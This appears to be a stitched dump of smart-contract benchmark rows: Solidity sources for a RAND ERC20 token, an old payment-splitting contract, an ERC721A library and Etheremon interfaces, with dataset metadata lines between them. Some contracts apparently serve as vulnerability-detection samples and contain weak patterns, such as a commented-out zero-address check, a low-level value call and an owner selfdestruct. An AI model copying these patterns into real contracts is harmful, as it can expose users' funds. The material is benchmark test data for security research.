require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_;
_decimal = 18;
}
// optional functions from ERC20 stardard
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
// require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount <= _balances[sender]);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _emitInitial(address account,uint amount) internal{
_balances[account] = _balances[account].add(amount);
}
function _emit(uint256 amount) internal {
_totalSupply = amount;
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
abstract contract Context {
constructor () { }
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred (address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RandToken is ERC20, Ownable {
string private __name = "RAND";
string private __symbol = "RAND";
uint8 private __decimals = 18;
uint256 private __totalSupply = 2248000 * 1e18; // 2,87,2000 fixed supply
address private tokenOwnerAddress;
uint private contractDeploymentTime;
address private guessContractAddress;
uint private percent = 2;
uint private _initialSupply;
uint private _initialValue = 1000000 * 1e18; // 1,000,000 initial supply
uint private amount = 12000 * 1e18; // 12,000 a week emissions
uint private DEV_WALLET_FEES = 800 * 10 ** 18;
uint private mintExpPeriod;
address private devWalletAddress;
using SafeMath for uint256;
constructor(address payable _tokenOwnerAddress,address payable _devWalletAddress) ERC20(__name,__symbol,__totalSupply) {
// set tokenOwnerAddress as owner of all tokens
tokenOwnerAddress = _tokenOwnerAddress;
devWalletAddress = _devWalletAddress;
_mint(_tokenOwnerAddress, _initialValue);
_emitFirst();
contractDeploymentTime = block.timestamp;
mintExpPeriod = block.timestamp;
}
function transfer(address recipient, uint256 _amount) public override returns (bool) {
uint fee;
fee = (_amount.mul(percent)).div(10**2);
_amount = _amount.sub(fee);
_transfer(msg.sender, address(0), fee);
_transfer(msg.sender, recipient, _amount);
return true;
}
function setOwnerAddress(address _tokenOwnerAddress) public onlyOwner
{
tokenOwnerAddress = _tokenOwnerAddress;
}
function setdevWalletAddress(address _deWalletAddress) public onlyOwner
{
devWalletAddress = _deWalletAddress;
}
function setGuessAddress(address _guessAddress) public onlyOwner returns(address) {
require(_guessAddress != address(0),"address can't be zero address.");
guessContractAddress = _guessAddress;
return guessContractAddress;
}
function transferGuess(address recipient, uint256 _amount) external returns (bool) {
require(guessContractAddress != address(0),"address can't be zero address.");
require(msg.sender == guessContractAddress,"Only Guess contract call this function.");
_transfer(msg.sender, recipient, _amount);
return true;
}
function _emitFirst() internal {
_initialSupply = _initialValue;
// _emitInitial(account,_initialSupply);
}
function emitEveryWeekTokens() public onlyOwner {
require(_initialSupply<__totalSupply,"total supply limit reached.");
require(guessContractAddress != address(0), "ERC20: mint to the zero address");
require(block.timestamp >= mintExpPeriod + 7 days);
//uint256 dev_wallet = 800 * 10 ** 18;
uint256 amount_new = amount.sub(DEV_WALLET_FEES);
_initialSupply = _initialSupply.add(amount);
_emitInitial(guessContractAddress,amount_new);
_emitInitial(devWalletAddress,DEV_WALLET_FEES);
mintExpPeriod = block.timestamp;
}
function initialSupply() public view returns(uint) {
return _initialSupply;
}
}
| 26,987 | 13,465 |
e459ecff0cc51ebc84adf56bef00b30623b284fd61555ed9c7c86891ea161518
| 16,504 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x86ad220d9fee817847f03876986e6626f676b7cb.sol
| 2,922 | 16,339 |
pragma solidity ^0.4.6;
// --------------------------
// R Split Contract
// --------------------------
contract RSPLT_G {
event StatEvent(string msg);
event StatEventI(string msg, uint val);
enum SettingStateValue {debug, locked}
struct partnerAccount {
uint credited; // total funds credited to this account
uint balance; // current balance = credited - amount withdrawn
uint pctx10; // percent allocation times ten
address addr; // payout addr of this acct
bool evenStart; // even split up to evenDistThresh
}
// -----------------------------
// data storage
// ----------------------------------------
address public owner; // deployer executor
mapping (uint => partnerAccount) partnerAccounts; // accounts by index
uint public numAccounts; // how many accounts exist
uint public holdoverBalance; // amount yet to be distributed
uint public totalFundsReceived; // amount received since begin of time
uint public totalFundsDistributed; // amount distributed since begin of time
uint public totalFundsWithdrawn; // amount withdrawn since begin of time
uint public evenDistThresh; // distribute evenly until this amount (total)
uint public withdrawGas = 35000; // gas for withdrawals
uint constant TENHUNDWEI = 1000; // need gt. 1000 wei to do payout
uint constant MAX_ACCOUNTS = 5; // max accounts this contract can handle
SettingStateValue public settingsState = SettingStateValue.debug;
// --------------------
// contract constructor
// --------------------
function RSPLT_G() {
owner = msg.sender;
}
// -----------------------------------
// lock
// lock the contract. after calling this you will not be able to modify accounts:
// -----------------------------------
function lock() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
settingsState = SettingStateValue.locked;
StatEvent("ok: contract locked");
}
// -----------------------------------
// reset
// reset all accounts
// -----------------------------------
function reset() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
numAccounts = 0;
holdoverBalance = 0;
totalFundsReceived = 0;
totalFundsDistributed = 0;
totalFundsWithdrawn = 0;
StatEvent("ok: all accts reset");
}
// -----------------------------------
// set even distribution threshold
// -----------------------------------
function setEvenDistThresh(uint256 _thresh) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
evenDistThresh = (_thresh / TENHUNDWEI) * TENHUNDWEI;
StatEventI("ok: threshold set", evenDistThresh);
}
// -----------------------------------
// set even distribution threshold
// -----------------------------------
function setWitdrawGas(uint256 _withdrawGas) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
withdrawGas = _withdrawGas;
StatEventI("ok: withdraw gas set", withdrawGas);
}
// ---------------------------------------------------
// add a new account
// ---------------------------------------------------
function addAccount(address _addr, uint256 _pctx10, bool _evenStart) {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
if (numAccounts >= MAX_ACCOUNTS) {
StatEvent("err: max accounts");
return;
}
partnerAccounts[numAccounts].addr = _addr;
partnerAccounts[numAccounts].pctx10 = _pctx10;
partnerAccounts[numAccounts].evenStart = _evenStart;
partnerAccounts[numAccounts].credited = 0;
partnerAccounts[numAccounts].balance = 0;
++numAccounts;
StatEvent("ok: acct added");
}
// ----------------------------
// get acct info
// ----------------------------
function getAccountInfo(address _addr) constant returns(uint _idx, uint _pctx10, bool _evenStart, uint _credited, uint _balance) {
for (uint i = 0; i < numAccounts; i++) {
address addr = partnerAccounts[i].addr;
if (addr == _addr) {
_idx = i;
_pctx10 = partnerAccounts[i].pctx10;
_evenStart = partnerAccounts[i].evenStart;
_credited = partnerAccounts[i].credited;
_balance = partnerAccounts[i].balance;
StatEvent("ok: found acct");
return;
}
}
StatEvent("err: acct not found");
}
// ----------------------------
// get total percentages x10
// ----------------------------
function getTotalPctx10() constant returns(uint _totalPctx10) {
_totalPctx10 = 0;
for (uint i = 0; i < numAccounts; i++) {
_totalPctx10 += partnerAccounts[i].pctx10;
}
StatEventI("ok: total pctx10", _totalPctx10);
}
// ----------------------------
// get no. accts that are set for even split
// ----------------------------
function getNumEvenSplits() constant returns(uint _numEvenSplits) {
_numEvenSplits = 0;
for (uint i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
++_numEvenSplits;
}
}
StatEventI("ok: even splits", _numEvenSplits);
}
// -------------------------------------------
// default payable function.
// call us with plenty of gas, or catastrophe will ensue
// note: you can call this fcn with amount of zero to force distribution
// -------------------------------------------
function () payable {
totalFundsReceived += msg.value;
holdoverBalance += msg.value;
StatEventI("ok: incoming", msg.value);
}
// ----------------------------
// distribute funds to all partners
// ----------------------------
function distribute() {
//only payout if we have more than 1000 wei
if (holdoverBalance < TENHUNDWEI) {
return;
}
//first pay accounts that are not constrained by even distribution
//each account gets their prescribed percentage of this holdover.
uint i;
uint pctx10;
uint acctDist;
uint maxAcctDist;
uint numEvenSplits = 0;
for (i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
++numEvenSplits;
} else {
pctx10 = partnerAccounts[i].pctx10;
acctDist = holdoverBalance * pctx10 / TENHUNDWEI;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
//now pay accounts that are constrained by even distribution. we split whatever is
//left of the holdover evenly.
uint distAmount = holdoverBalance;
if (totalFundsDistributed < evenDistThresh) {
for (i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
acctDist = distAmount / numEvenSplits;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
uint fundLimit = totalFundsReceived;
if (fundLimit > evenDistThresh)
fundLimit = evenDistThresh;
maxAcctDist = fundLimit / numEvenSplits;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if (partnerAccounts[i].credited + acctDist > maxAcctDist) {
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
}
//now, if there are any funds left (because of a remainder in the even split), then distribute them
//threshold, to ensure that we don't get stuck with a remainder amount that cannot be distributed.
distAmount = holdoverBalance;
if (distAmount > 0) {
uint numDistributions = 0;
for (i = 0; i < numAccounts; i++) {
pctx10 = partnerAccounts[i].pctx10;
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited < maxAcctDist) {
++numDistributions;
}
}
for (i = 0; i < numAccounts; i++) {
if (partnerAccounts[i].evenStart) {
pctx10 = partnerAccounts[i].pctx10;
acctDist = distAmount * pctx10 / TENHUNDWEI;
//we also double check to ensure that the amount awarded cannot exceed the
//total amount due to this acct. note: this check is necessary, cuz here we
//might not distribute the full holdover amount during each pass.
maxAcctDist = totalFundsReceived * pctx10 / TENHUNDWEI;
if (partnerAccounts[i].credited >= maxAcctDist) {
acctDist = 0;
} else if ((partnerAccounts[i].credited + acctDist > maxAcctDist) || numDistributions == 1) {
//if all partners have received their maximum payout except one, then instead of
//distributing his percentage of the holdover with each call to distribute, just
//give him his percentage of the total amount received; that is, the total amount
//due to him.
acctDist = maxAcctDist - partnerAccounts[i].credited;
}
partnerAccounts[i].credited += acctDist;
partnerAccounts[i].balance += acctDist;
totalFundsDistributed += acctDist;
holdoverBalance -= acctDist;
}
}
}
StatEvent("ok: distributed funds");
}
// ----------------------------
// withdraw account balance
// ----------------------------
function withdraw() {
for (uint i = 0; i < numAccounts; i++) {
address addr = partnerAccounts[i].addr;
if (addr == msg.sender) {
uint amount = partnerAccounts[i].balance;
if (amount == 0) {
StatEvent("err: balance is zero");
} else {
partnerAccounts[i].balance = 0;
totalFundsWithdrawn += amount;
if (!msg.sender.call.gas(withdrawGas).value(amount)())
throw;
StatEventI("ok: rewards paid", amount);
}
}
}
}
// ----------------------------
// suicide
// ----------------------------
function hariKari() {
if (msg.sender != owner) {
StatEvent("err: not owner");
return;
}
if (settingsState == SettingStateValue.locked) {
StatEvent("err: locked");
return;
}
suicide(owner);
}
}
| 197,361 | 13,466 |
be9efb2b2a6da86e0b49fe8bb10f015d66b19131a7974d076015c961b81222f9
| 22,710 |
.sol
|
Solidity
| false |
473378375
|
Vectorized/ERC721A-Upgradeable-Old
|
c664aaab4d26133f979ef916bc622b6707934bb7
|
contracts/ERC721AUpgradeable.sol
| 3,797 | 16,183 |
// SPDX-License-Identifier: MIT
// Creator: Chiru Labs
pragma solidity ^0.8.4;
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
contract ERC721AUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
function __ERC721A_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC721A_init_unchained(name_, symbol_);
}
function __ERC721A_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
function _baseURI() internal view virtual returns (string memory) {
return '';
}
function approve(address to, uint256 tokenId) public override {
address owner = ERC721AUpgradeable.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory _data) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
function _safeMint(address to,
uint256 quantity,
bytes memory _data) internal {
_mint(to, quantity, _data, true);
}
function _mint(address to,
uint256 quantity,
bytes memory _data,
bool safe) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _transfer(address from,
address to,
uint256 tokenId) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
function _approve(address to,
uint256 tokenId,
address owner) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function _checkContractOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory _data) private returns (bool) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
function _beforeTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 quantity) internal virtual {}
function _afterTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 quantity) internal virtual {}
uint256[42] private __gap;
}
| 260,139 | 13,467 |
1a4b4fb01744d407fa5253c32bdbaad0b8ec8d33a95dd0622546facac46b4269
| 18,820 |
.sol
|
Solidity
| false |
410736639
|
SoftSec-KAIST/Smartian-Artifact
|
33c42ba3f2b2f60093173801433b6fd7f3dd710d
|
benchmarks/B3/sol/0xcdf7cfc9f7c129a0d7aec376bc205ab87fc878e1.sol
| 4,499 | 17,949 |
pragma solidity ^0.4.16;
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
interface EtheremonDataBase {
// read
function getMonsterClass(uint32 _classId) constant external returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant external returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getElementInArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint _index) constant external returns(uint8);
function addMonsterObj(uint32 _classId, address _trainer, string _name) external returns(uint64);
function addElementToArrayType(EtheremonEnum.ArrayType _type, uint64 _id, uint8 _value) external returns(uint);
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
interface ERC721Interface {
function ownerOf(uint256 _tokenId) external view returns (address owner);
}
interface EtheremonAdventureItem {
function ownerOf(uint256 _tokenId) external view returns (address);
function getItemInfo(uint _tokenId) constant external returns(uint classId, uint value);
function spawnItem(uint _classId, uint _value, address _owner) external returns(uint);
}
interface EtheremonAdventureSetting {
function getSiteItem(uint _siteId, uint _seed) constant external returns(uint _monsterClassId, uint _tokenClassId, uint _value);
function getSiteId(uint _classId, uint _seed) constant external returns(uint);
}
